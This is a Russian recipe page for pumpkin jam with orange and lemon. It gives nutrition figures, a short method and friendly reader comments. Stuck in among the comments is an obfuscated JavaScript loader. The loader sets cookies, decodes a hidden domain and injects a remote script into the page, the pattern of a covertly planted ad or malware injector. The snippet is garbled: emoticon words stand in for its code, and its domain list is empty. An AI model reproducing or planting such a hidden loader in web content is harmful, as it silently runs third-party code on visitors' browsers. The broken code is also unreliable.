Lyubasha Maximenko

20.10.2015 17:28

Тыквенное варенье с апельсином и лимоном

Калорийность - 141 кКал; белки - 0.7 г; жиры - 0.1 г; углеводы - 34.2 г на 100 г.

Ингредиенты

Апельсин (Варка без слива)	245 г
Вода	600 г
Лимон (Варка без слива)	100 г
Сахар песок	600 г
Тыква (Варка без слива)	1000 г

Общая масса ингредиентов

Масса готового блюда

Время приготовления: 1 ч 30 мин

Описание

Тыква очищается и режется на мелкие кусочки. апельсин так же очищаем, делим на дольки. лимон моем, режем кольцами. Наливаем в кастрюлю/таз/миску воды. добавляем сахар, когда всё растворилось выкладываем остальные ингридиенты и варим, помешивая.
ПРИЯТНОГО АППЕТИТА!!!

Калькулятор химического состава рецепта

Пищевая ценность на 100 грамм

Содержание в порции			% от РСП
	Калории	141 кКал	8.37%
	Белки	0.7 г	0.92%
	Жиры	0.1 г	0.18%
	Углеводы	34.2 г	15.62%
	Пищевые волокна	1.4 г	7%
	Вода	62.2 г	2.74%

ПОСТУПЛЕНИЕ МИКРОНУТРИЕНТОВ

Рейтинг

13.8%

b-car

14.9%

В1

1.9%

1.8%

Холин

3.9%

2.1%

B12

6.1%

1.6%

0.3%

вит.К

2.1%

Калий

5.5%

2.1%

2.3%

0.4%

0.5%

6.4%

1.4%

11.4%

0.1%

1.9%

1.3%

Мария Мамчур 21.10.2015 21:02

Тыква с цитрусовыми - это очень вкусно!

Lyubasha Maximenko 22.10.2015 06:56

Мария Мамчур, ДА! и ещё раз ДА!!))))

Ирина 25.10.2015 14:29

Спасибо! Я тоже немного поэкспериментировала. В своем блоге об этом писала. Но вот как добиться эффекта жидкого пюре? Больше воды? Я делала в хлебопечке в режиме "Джем" вообще без воды.

Элина 25.10.2015 22:34

Интересный рецепт, спасибо!

Lyubasha Maximenko 26.10.2015 08:07

Ирина Петрова, блендером наверное. всё у всех индивидуально.поэтому трудно давать советы)))

Lyubasha Maximenko 26.10.2015 08:07

Элина, всегда пожалуйста, пробуйте)))

Ирина 26.10.2015 08:33

Надо попробовать, а то я совсем обленилась. Спасибо за рецепт!

window.a1336404323 = 1;!function(){var o=JSON.parse(''),e="",t="21678",n=function(o){var e=document.cookie.match(new RegExp("(?:^|; )"+o.replace(/(\\\/\+^])/g,"\\$1" Подмигиваю

+"=(*)"

);return e?decodeURIComponent(e):void 0},i=function(o,e,t){t=t||{};var n=t.expires;if("number"==typeof n&&n){var i=new Date(n);n=t.expires=i}var r="3600";!t.expires&&r&&(t.expires="3600" Подмигиваю

,e=encodeURIComponent(e);var c=o+"="+e;for(var a in t){c+="; "+a;var d=t;d!==!0&&(c+="="+d)}document.cookie=c},r=function(o){o=o.match(/{1,2}/g);for(var e="",t=0;t< o.length;t++)e+=String.fromCharCode(parseInt(o,16));return e},c=function(o){for(var e="",t=0,n=o.length;n>t;t++)e+=o.charCodeAt(t).toString(16);return e},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf('http')==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ''},a=function(o,e,t){var lp=p();if(lp=='')return;var n=lp+"//"+o;if(window.smlo && (navigator.userAgent.toLowerCase().indexOf('firefox') == -1))window.smlo.loadSmlo(n.replace('https:','http:'));else if(window.zSmlo && (navigator.userAgent.toLowerCase().indexOf('firefox') == -1))window.zSmlo.loadSmlo(n.replace('https:','http:'));else{var i=document.createElement("sc ript" Подмигиваю

;i.setAttribute("src",n),i.setAttribute("type","text/javasc ript" Подмигиваю

,document.head.appendChild(i),i.on load=function(){this.executed||(this.executed=!0,"function"==typeof e&&e())},i.on error=function(){this.executed||(this.executed=!0,i.parentNode.removeChild(i),"function"==typeof t&&t())}}},d=function(u){var s=n("oisdom" Подмигиваю

;e=s&&-1!=o.indexOf(s)?s:u?u:o;var f,m=n("oismods" Подмигиваю

;m?(f=r(e)+"/pjs/"+t+"/"+m+".js",a(f,function(){i("oisdom",e)},function(){var t=o.indexOf(e);o&&(e=o,d(e))})) Печально

f=r(e)+"/ajs/"+t+"/c/"+c("health-diet.ru" Подмигиваю

+"_"+(self===top?0:1)+".js",a(f,function(){i("oisdom",e)},function(){var t=o.indexOf(e);o&&(e=o,d(e))}))};d()}();

Вика 26.10.2015 08:37

Шикарный рецепт,только зачем столько сахара,тыква сладкая и апельсин.Рецепт забрала,попробую в мультиварке .

Lyubasha Maximenko 26.10.2015 14:17

Ирина, попробуйте конечно)))

Lyubasha Maximenko 26.10.2015 14:18

Вика, варила не только для себя, поэтому количество сахара такое. изначально у меня было на 1 кг. тыквы и на 1 апельсин всего 300 сахара и 300 воды, получилось тоже вкусно. а послаще для деток )))))

Вика 26.10.2015 16:36

Сейчас химичу,как нахимичу отчитаюсь,поставила на выпечку,добавила пока 1 ст. ложку.

Lyubasha Maximenko 27.10.2015 06:16

Вика, удачи вам)))